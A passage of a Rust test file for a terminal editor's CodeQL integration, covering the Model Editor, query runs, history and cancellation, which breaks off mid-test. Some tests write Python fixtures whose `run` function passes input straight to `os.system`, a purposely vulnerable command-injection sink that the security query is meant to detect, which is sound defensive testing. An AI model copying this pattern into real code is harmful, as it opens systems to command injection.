        assert_eq!(prompt.value, "command-injection");
        app.submit_input_prompt();
        let pack = tmp.path().join(".github/codeql/extensions/lib-python");
        assert!(
            app.status
                .starts_with("Modeled run(cmd,shell) as a sink Argument[0,cmd:]"),
            "{}",
            app.status
        );
        assert_eq!(
            std::fs::read_to_string(pack.join("models/lib-python.model.yml")).unwrap(),
            "extensions:\n  - addsTo:\n      pack: codeql/python-all\n      extensible: sinkModel\n    data:\n      - ['mylib', 'Member[core].Member[run].Argument[0,cmd:]', 'command-injection']\n"
        );
        assert!(
            std::fs::read_to_string(pack.join("codeql-pack.yml"))
                .unwrap()
                .starts_with("name: croft/lib-python\n")
        );
        assert!(
            app.codeql.lines().iter().any(|l| matches!(
                l,
                Line::Action(Action::ModelEndpoint(0), t) if t == "  \u{25cf} run(cmd,shell)"
            )),
            "marked as modeled by you"
        );

        // A query run now uses the pack.
        app.editor.open(&tmp.path().join("q.ql")).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert!(calls.contains("--model-packs=croft/lib-python"), "{calls}");

        // Removing its models empties the extension.
        app.open_codeql_view();
        app.focus = Pane::Tree;
        app.codeql.selected = app
            .codeql
            .lines()
            .iter()
            .position(|l| matches!(l, Line::Action(Action::ModelEndpoint(0), _)))
            .unwrap();
        app.handle_key(key(KeyCode::Char('m'), KeyModifiers::NONE))
            .unwrap();
        let rows = &app.list_picker.as_ref().unwrap().rows;
        let remove = rows
            .iter()
            .position(|r| r.id == "0:remove")
            .expect("remove is offered");
        app.list_picker.as_mut().unwrap().selected = remove;
        app.confirm_list_picker();
        assert!(
            app.status
                .starts_with("Removed the models of run(cmd,shell)"),
            "{}",
            app.status
        );
        assert_eq!(
            std::fs::read_to_string(pack.join("models/lib-python.model.yml")).unwrap(),
            "extensions:\n  []\n"
        );
    });
}

/// #578's Model Editor end to end against the real CLI: model a library
/// function as a source and another as a sink, and the command-injection
/// query, run through croft, finds the flow it misses without them.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-queries; set CROFT_TEST_CODEQL"]
fn real_models_made_in_the_model_editor_change_what_a_query_finds() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(src.join("mylib")).unwrap();
        std::fs::write(src.join("mylib/__init__.py"), "").unwrap();
        std::fs::write(
            src.join("mylib/core.py"),
            "import os\n\ndef run(cmd, shell=True):\n    return os.system(cmd)\n\ndef fetch():\n    return \"x\"\n",
        )
        .unwrap();
        std::fs::write(
            src.join("app.py"),
            "from mylib.core import run, fetch\nrun(fetch())\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("lib"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let resolved = std::process::Command::new(&codeql)
            .args([
                "resolve",
                "queries",
                "--format=json",
                "codeql/python-queries:Security/CWE-078/CommandInjection.ql",
            ])
            .output()
            .unwrap();
        let query = crate::codeql_ast::first_query(&String::from_utf8_lossy(&resolved.stdout))
            .expect("the command-injection query");
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        let run_query = |app: &mut App| -> String {
            app.editor.open(&query).unwrap();
            app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
            while app.codeql_run.is_some() {
                app.drain_codeql_run();
                assert!(std::time::Instant::now() < deadline, "never finished");
                std::thread::sleep(std::time::Duration::from_millis(50));
            }
            let history = crate::codeql_query::History::load(&App::codeql_history_path());
            std::fs::read_to_string(&history.entries[history.newest().unwrap()].output)
                .unwrap_or_else(|e| panic!("{e}: {}", app.status))
        };
        let before = run_query(&mut app);
        assert!(before.contains("\"results\":[]"), "no flow yet: {before}");

        app.run_command(crate::widgets::command_palette::Command::CodeqlOpenModelEditor);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
        while !app.drain_codeql_model() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        let find = |app: &App, f: &str| {
            app.codeql
                .model
                .as_ref()
                .unwrap_or_else(|| panic!("{}", app.status))
                .endpoints
                .iter()
                .position(|e| e.function == f)
                .unwrap()
        };
        let (fetch, run) = (find(&app, "fetch"), find(&app, "run"));
        app.choose_codeql_model(&format!("{fetch}:0"));
        app.submit_input_prompt(); // remote source at ReturnValue
        app.choose_codeql_model(&format!("{run}:1"));
        app.submit_input_prompt(); // command-injection sink at Argument[0,cmd:]
        let after = run_query(&mut app);
        assert!(
            after.contains("\"ruleId\":\"py/command-line-injection\""),
            "{after}"
        );
    });
}

/// #578's Model Editor against the real CLI: a Python library's
/// framework-mode endpoints, read from a database built in the test.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-queries; set CROFT_TEST_CODEQL"]
fn the_model_editor_reads_a_real_librarys_endpoints() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(src.join("mylib")).unwrap();
        std::fs::write(
            src.join("mylib/__init__.py"),
            "from .core import run, Runner\n",
        )
        .unwrap();
        std::fs::write(
            src.join("mylib/core.py"),
            "import os\n\ndef run(cmd, shell=True):\n    return os.system(cmd)\n\nclass Runner:\n    def go(self, what):\n        return run(what)\n",
        )
        .unwrap();
        std::fs::write(
            src.join("pyproject.toml"),
            "[project]\nname = \"mylib\"\nversion = \"0.1\"\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("lib"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.run_command(crate::widgets::command_palette::Command::CodeqlOpenModelEditor);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
        while !app.drain_codeql_model() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        let view = app
            .codeql
            .model
            .as_ref()
            .unwrap_or_else(|| panic!("{}", app.status));
        let labels: Vec<String> = view.endpoints.iter().map(|e| e.label()).collect();
        assert!(
            labels.contains(&String::from("run(cmd,shell)")),
            "{labels:?}"
        );
        assert!(
            labels.contains(&String::from("go(self,what)")),
            "{labels:?}"
        );
        let run = view.endpoints.iter().find(|e| e.function == "run").unwrap();
        assert_eq!(
            (run.namespace.as_str(), run.class.as_str()),
            ("mylib", "core")
        );
        assert_eq!(run.location.as_ref().map(|l| l.line), Some(3));
    });
}

/// #578's AST Viewer against the real CLI: build a Python database, read
/// the AST of its source file, and find the function in it. Needs a
/// `codeql` with the codeql/python-all pack downloaded; set
/// `CROFT_TEST_CODEQL` to it.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn the_ast_viewer_reads_a_real_databases_ast() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        let file = src.join("app.py");
        std::fs::write(&file, "import os\n\ndef run(cmd):\n    os.system(cmd)\n").unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&file).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlViewAst);
        wait_for_codeql_ast(&mut app, 600);
        let view = app
            .codeql
            .ast
            .as_ref()
            .unwrap_or_else(|| panic!("{}", app.status));
        let def = view
            .tree
            .roots
            .iter()
            .copied()
            .find(|&i| view.tree.nodes[i].label.starts_with("[FunctionDef] run"))
            .expect("the function is a top-level node");
        assert_eq!(
            view.target(def).map(|t| (t.0, t.1)),
            Some((file.clone(), 3))
        );
        assert!(!view.tree.nodes[def].children.is_empty());
    });
}

#[cfg(unix)]
#[test]
fn a_problem_query_runs_on_the_current_database_and_opens_as_sarif() {
    // #578: VS Code's "Run Query on Selected Database"; alerts open in the
    // SARIF viewer and the run is kept in the query history.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(
            tmp.path(),
            "/**\n * @kind problem\n */\nimport rust\nselect 1",
        );
        app.codeql_program = fake_codeql(
            bin.path(),
            r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"CodeQL"}},"results":[{"ruleId":"q","message":{"text":"From codeql."}}]}]}"#,
            0,
            "",
        );
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        assert!(app.status.contains("Running q.ql on app"), "{}", app.status);
        assert_eq!(app.codeql.history.len(), 1);
        assert!(
            app.codeql.history[0].contains("running"),
            "{:?}",
            app.codeql.history
        );
        wait_for_codeql(&mut app);
        // The alerts open as a .sarif file, which the SARIF viewer claims.
        let opened = app.editor.path.clone().expect("the results open");
        assert_eq!(opened.extension().and_then(|e| e.to_str()), Some("sarif"));
        assert!(
            std::fs::read_to_string(&opened)
                .unwrap()
                .contains("From codeql.")
        );
        assert!(
            app.codeql.history[0].starts_with("\u{2713} q.ql \u{b7} app"),
            "{:?}",
            app.codeql.history
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert!(calls.starts_with("database analyze "), "{calls}");
    });
}

#[cfg(unix)]
#[test]
fn a_failed_query_run_is_recorded_with_codeqls_own_words() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "import rust\nselect 1");
        app.codeql_program = fake_codeql(bin.path(), "", 2, "ERROR: could not resolve module rust");
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        assert_eq!(
            app.codeql.history[0],
            "\u{2717} q.ql \u{b7} app \u{b7} failed: ERROR: could not resolve module rust"
        );
        assert!(
            app.status.contains("could not resolve module"),
            "{}",
            app.status
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert!(
            calls.starts_with("query run "),
            "a table query runs as a query: {calls}"
        );
    });
}

#[cfg(unix)]
#[test]
fn a_successful_query_run_records_its_result_count() {
    // #578: Query History shows how many results a run produced, and can
    // sort by it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "import rust\nselect 1");
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n2\n", 0, "");
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        assert_eq!(history.entries[0].results, Some(2), "{}", app.status);
        assert!(
            app.codeql.history[0].ends_with("\u{b7} 2 results"),
            "{}",
            app.codeql.history[0]
        );
    });
}

#[cfg(unix)]
#[test]
fn a_runs_query_text_is_kept_as_it_was_when_it_ran() {
    // #578: "View Query Text" shows the query a run used, even after the
    // file has changed.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "import rust\nselect 1");
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        std::fs::write(tmp.path().join("q.ql"), "import rust\nselect 2").unwrap();

        app.open_codeql_view();
        app.focus = Pane::Tree;
        app.codeql.select_history(0);
        app.handle_key(key(KeyCode::Char('t'), KeyModifiers::NONE))
            .unwrap();
        let opened = app.editor.path.clone().expect("the query text opened");
        assert!(
            opened.starts_with(App::codeql_results_dir()),
            "{opened:?}: {}",
            app.status
        );
        assert_eq!(opened.file_name().unwrap(), "q.ql");
        assert_eq!(app.editor.lines, ["import rust", "select 1"]);
        assert!(
            app.status.contains("as it was when it ran"),
            "{}",
            app.status
        );
    });
}

#[cfg(unix)]
#[test]
fn codeql_accept_test_output_accepts_the_open_test_or_the_failed_ones() {
    // #578: accept a failing CodeQL test's actual output as expected,
    // through `codeql test accept`.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let dir = tmp.path().join("test/Find");
        std::fs::create_dir_all(&dir).unwrap();
        std::fs::write(tmp.path().join("test/qlpack.yml"), "name: t\ntests: .\n").unwrap();
        std::fs::write(dir.join("Find.qlref"), "Find.ql\n").unwrap();
        std::fs::write(dir.join("Find.expected"), "old\n").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.set_codeql_program(fake_codeql(bin.path(), "", 0, ""));
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_pack_job() {
                assert!(std::time::Instant::now() < deadline, "never finished");
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };

        assert_eq!(
            Command::from_id("codeql_accept_test_output"),
            Some(Command::CodeqlAcceptTestOutput)
        );
        app.run_command(Command::CodeqlAcceptTestOutput);
        assert!(
            app.status.starts_with("No CodeQL test to accept"),
            "{}",
            app.status
        );

        // The open file's test, but no run has left output yet.
        app.editor.open(&dir.join("Find.expected")).unwrap();
        app.run_command(Command::CodeqlAcceptTestOutput);
        assert!(app.status.starts_with("No actual output"), "{}", app.status);

        std::fs::write(dir.join("Find.actual"), "new\n").unwrap();
        app.run_command(Command::CodeqlAcceptTestOutput);
        wait(&mut app);
        assert_eq!(app.status, "Accepted the output of Find.qlref as expected");
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!("test accept {}", dir.join("Find.qlref").display())
        );

        // With no test file open: the tests the last run failed.
        app.editor
            .open(&tmp.path().join("test/qlpack.yml"))
            .unwrap();
        app.testing.apply_case(crate::testing::model::TestCase {
            name: String::from("test/Find::Find.qlref"),
            status: crate::testing::model::TestStatus::Failed,
        });
        app.run_command(Command::CodeqlAcceptTestOutput);
        wait(&mut app);
        assert_eq!(app.status, "Accepted the output of Find.qlref as expected");
    });
}

#[test]
fn a_variant_runs_repository_list_is_copied_and_its_logs_opened() {
    // #578: for a variant analysis run, copy the repository list and view
    // its logs, which live on the controller's GitHub Actions run.
    use crate::codeql_submit::{parse_progress, parse_submission, record_submitted};
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlCopyVariantRepoList);
        assert_eq!(app.status, "No variant analysis has been submitted yet");

        let run = parse_submission(
            r#"{"id": 9}"#,
            "me/ctl",
            std::path::Path::new("/w/Find.ql"),
            "python",
            0,
        )
        .unwrap();
        record_submitted(&App::codeql_variant_runs_path(), run.clone()).unwrap();
        app.run_command(Command::CodeqlCopyVariantRepoList);
        assert_eq!(
            app.status,
            "Variant analysis 9 has not reported its repositories yet"
        );
        app.run_command(Command::CodeqlViewVariantLogs);
        assert!(
            app.status.contains("has no Actions run yet"),
            "{}",
            app.status
        );

        let mut later = run;
        later.id = 10;
        later.workflow_run = Some(777);
        later.progress = parse_progress(
            r#"{"status": "in_progress", "scanned_repositories": [
                {"repository": {"full_name": "a/b"}, "analysis_status": "succeeded", "result_count": 1},
                {"repository": {"full_name": "c/d"}, "analysis_status": "pending"}]}"#,
        )
        .ok();
        record_submitted(&App::codeql_variant_runs_path(), later).unwrap();
        // With no run selected in the side bar: the newest.
        app.run_command(Command::CodeqlCopyVariantRepoList);
        assert_eq!(
            app.status,
            "Copied the 2 repositories of variant analysis 10"
        );
        assert_eq!(crate::clipboard::read_string().unwrap(), "a/b\nc/d");
        app.run_command(Command::CodeqlViewVariantLogs);
        assert_eq!(
            app.status,
            "Open https://github.com/me/ctl/actions/runs/777"
        );
    });
}

#[cfg(unix)]
#[test]
fn a_running_codeql_query_shows_in_the_status_bar_and_a_click_cancels_it() {
    // #578: progress and cancellation in the status bar. The run is killed
    // mid-flight and recorded as cancelled, not failed.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "import rust\nselect 1");
        app.run_command(Command::CodeqlCancelRunningQuery);
        assert_eq!(app.status, "No CodeQL query is running");

        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replace("exit 0", "exec sleep 30"),
        )
        .unwrap();
        app.run_command(Command::CodeqlRunQuery);
        let started = std::time::Instant::now();
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let screen = screen_text(&term);
        assert!(screen.contains("CodeQL q.ql 0:0"), "{screen}");
        let chip = app.status_codeql_rect;
        assert!(chip.width > 0, "the chip is a click target");
        app.handle_mouse(MouseEvent {
            kind: MouseEventKind::Down(MouseButton::Left),
            column: chip.x + 1,
            row: chip.y,
            modifiers: KeyModifiers::NONE,
        });
        assert!(app.status.starts_with("Cancelling"), "{}", app.status);
        wait_for_codeql(&mut app);
        assert!(
            started.elapsed() < std::time::Duration::from_secs(10),
            "killed, not waited out"
        );
        assert_eq!(app.status, "q.ql cancelled");
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        assert_eq!(
            history.entries[0].status,
            crate::codeql_query::RunStatus::Cancelled
        );
        assert!(
            app.codeql.history[0].ends_with("cancelled"),
            "{}",
            app.codeql.history[0]
        );
        term.draw(|f| app.render(f)).unwrap();
        assert!(!screen_text(&term).contains("CodeQL q.ql"), "the chip goes");
        assert_eq!(app.status_codeql_rect, ratatui::layout::Rect::default());
    });
}

#[test]
fn running_a_query_needs_an_open_ql_file_and_a_database() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        std::fs::write(tmp.path().join("a.rs"), "fn main() {}\n").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open(&tmp.path().join("a.rs")).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        assert!(app.status.contains("Open a .ql query"), "{}", app.status);
        std::fs::write(tmp.path().join("q.ql"), "select 1").unwrap();
        app.editor.open(&tmp.path().join("q.ql")).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        assert!(
            app.status.contains("Add a CodeQL database"),
            "{}",
            app.status
        );
        assert!(app.codeql_run.is_none());
    });
}

#[cfg(unix)]
#[test]
fn a_query_history_entry_reopens_its_results() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        wait_for_codeql(&mut app);
        let results = app.editor.path.clone().unwrap();
        assert_eq!(results.extension().and_then(|e| e.to_str()), Some("csv"));
        app.editor.open(&tmp.path().join("q.ql")).unwrap();
        app.activate_codeql(crate::widgets::codeql::Hit::Action(
            crate::widgets::codeql::Action::OpenHistory(0),
        ));
        assert_eq!(app.editor.path.as_deref(), Some(results.as_path()));
    });
}

#[cfg(unix)]
#[test]
fn a_query_row_in_the_side_bar_runs_that_file_and_records_it() {
    // #578: the Queries section lists the workspace's queries by pack, and
    // Enter on one runs it from disk on the current database, whatever the
    // editor has open.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        std::fs::create_dir_all(tmp.path().join("pack")).unwrap();
        std::fs::write(
            tmp.path().join("pack/qlpack.yml"),
            "name: acme/rust\nextractor: rust\n",
        )
        .unwrap();
        std::fs::write(
            tmp.path().join("pack/r.ql"),
            "/** @kind problem */ select 1",
        )
        .unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), r#"{"version":"2.1.0","runs":[]}"#, 0, "");
        app.open_codeql_view();
        let names: Vec<&str> = app.codeql.queries.iter().map(|p| p.name.as_str()).collect();
        assert_eq!(names, vec!["acme/rust", crate::codeql_query::NO_PACK]);
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| {
                matches!(l, crate::widgets::codeql::Line::Action(
                    crate::widgets::codeql::Action::RunQuery(0, 0),
                    label,
                ) if label.trim() == "r.ql")
            })
            .expect("the pack's query is listed");
        app.codeql.selected = row;
        app.focus = Pane::Tree;
        app.handle_codeql_key(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
        assert!(app.status.contains("Running r.ql on app"), "{}", app.status);
        wait_for_codeql(&mut app);
        assert!(
            app.codeql.history[0].starts_with("\u{2713} r.ql \u{b7} app"),
            "{:?}",
            app.codeql.history
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert!(
            calls.starts_with("database analyze ") && calls.contains("pack/r.ql"),
            "the saved file's @kind picks SARIF: {calls}"
        );
    });
}

/// A workspace whose pack `acme/rust` holds `a.ql`, `b.ql` and `c.ql`,
/// database "app" current, the CodeQL view open on the pack's line, and a
/// stand-in `codeql` in `bin` that fails whatever runs `b.ql`.
#[cfg(unix)]
fn codeql_pack_fixture(tmp: &std::path::Path, bin: &std::path::Path) -> App {
    use std::os::unix::fs::PermissionsExt;
    let pack = tmp.join("pack");
    std::fs::create_dir_all(&pack).unwrap();
    std::fs::write(
        pack.join("qlpack.yml"),
        "name: acme/rust\nextractor: rust\n",
    )
    .unwrap();
    for q in ["a", "b", "c"] {
        std::fs::write(pack.join(format!("{q}.ql")), "select 1").unwrap();
    }
    let mut app = codeql_query_fixture(tmp, "select 1");
    let reply = bin.join("codeql-reply");
    std::fs::write(&reply, "col0\n1\n").unwrap();
    let script = format!(
        "#!/bin/sh\necho \"$*\" >> '{log}'\ncase \"$*\" in *b.ql*) echo 'ERROR: b is broken' >&2; exit 1 ;; esac\nfor a in \"$@\"; do case \"$a\" in --output=*) cp '{reply}' \"${{a#--output=}}\" ;; esac; done\nexit 0\n",
        log = bin.join("codeql-calls.log").display(),
        reply = reply.display(),
    );
    let program = bin.join("codeql");
    std::fs::write(&program, script).unwrap();
    std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
    app.codeql_program = program;
    app.open_codeql_view();
    app.focus = Pane::Tree;
    let row = app
        .codeql
        .lines()
        .iter()
        .position(|l| {
            matches!(
                l,
                crate::widgets::codeql::Line::Action(
                    crate::widgets::codeql::Action::TogglePack(0),
                    _
                )
            )
        })
        .expect("the pack is listed");
    app.codeql.selected = row;
    app
}

/// Drain until one query run lands (the next of a pack run may start).
fn drain_one_codeql_run(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while !app.drain_codeql_run() {
        assert!(
            std::time::Instant::now() < deadline,
            "the query run never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[cfg(unix)]
#[test]
fn codeql_runs_every_workspace_query_or_the_ones_selected_in_the_explorer() {
    // #578: "run one or all" queries, and run on selected files.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_pack_fixture(tmp.path(), bin.path());
        let pack = tmp.path().join("pack");
        let listed: usize = app.codeql.queries.iter().map(|p| p.queries.len()).sum();
        assert!(listed >= 3);

        app.run_command(Command::CodeqlRunAllQueries);
        assert!(
            app.status
                .starts_with(&format!("Running CodeQL queries 1/{listed}: ")),
            "{}",
            app.status
        );
        while app.codeql_run.is_some() {
            drain_one_codeql_run(&mut app);
        }
        assert_eq!(app.status, format!("Ran {listed} CodeQL queries, 1 failed"));

        // Nothing selected in the Explorer that holds a query.
        app.tree.marked.clear();
        app.tree.marked.insert(tmp.path().join("pack/qlpack.yml"));
        app.run_command(Command::CodeqlRunSelectedQueries);
        assert!(app.status.starts_with("Select .ql files"), "{}", app.status);

        // Two files, listed out of order.
        app.tree.marked.clear();
        app.tree.marked.insert(pack.join("c.ql"));
        app.tree.marked.insert(pack.join("a.ql"));
        app.run_command(Command::CodeqlRunSelectedQueries);
        assert_eq!(
            app.status,
            "Running CodeQL queries 1/2: a.ql on app\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert_eq!(
            app.status,
            "Running CodeQL queries 2/2: c.ql on app\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert_eq!(app.status, "Ran 2 CodeQL queries");
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_query_runs_on_each_database_checked_in_the_list() {
    // #578: "Run Query on Multiple Databases": check databases in a list,
    // and the open query, as edited, runs on each in the list's order.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        let mut store = crate::codeql_db::DatabaseStore::load(&App::codeql_db_store_path());
        for name in ["lib", "gone"] {
            let path = tmp.path().join("dbs").join(name);
            std::fs::create_dir_all(&path).unwrap();
            store.databases.push(crate::codeql_db::DbEntry {
                name: name.to_string(),
                path,
                language: None,
                added: 0,
                former_names: Vec::new(),
            });
        }
        store.save(&App::codeql_db_store_path()).unwrap();
        app.editor.lines[0] = String::from("select 2");

        app.run_command(Command::CodeqlRunQueryOnDatabases);
        let labels = |app: &App| -> Vec<String> {
            let picker = app.list_picker.as_ref().expect("the databases");
            picker.rows.iter().map(|r| r.label.clone()).collect()
        };
        assert_eq!(
            app.list_picker.as_ref().unwrap().title,
            "Run q.ql on databases"
        );
        assert_eq!(
            labels(&app),
            [
                "\u{25b6} Run on the checked database",
                "[x] app (rust)",
                "[ ] lib",
                "[ ] gone",
            ]
        );
        // Check lib and gone, the cursor staying on the row picked.
        for row in [2, 3] {
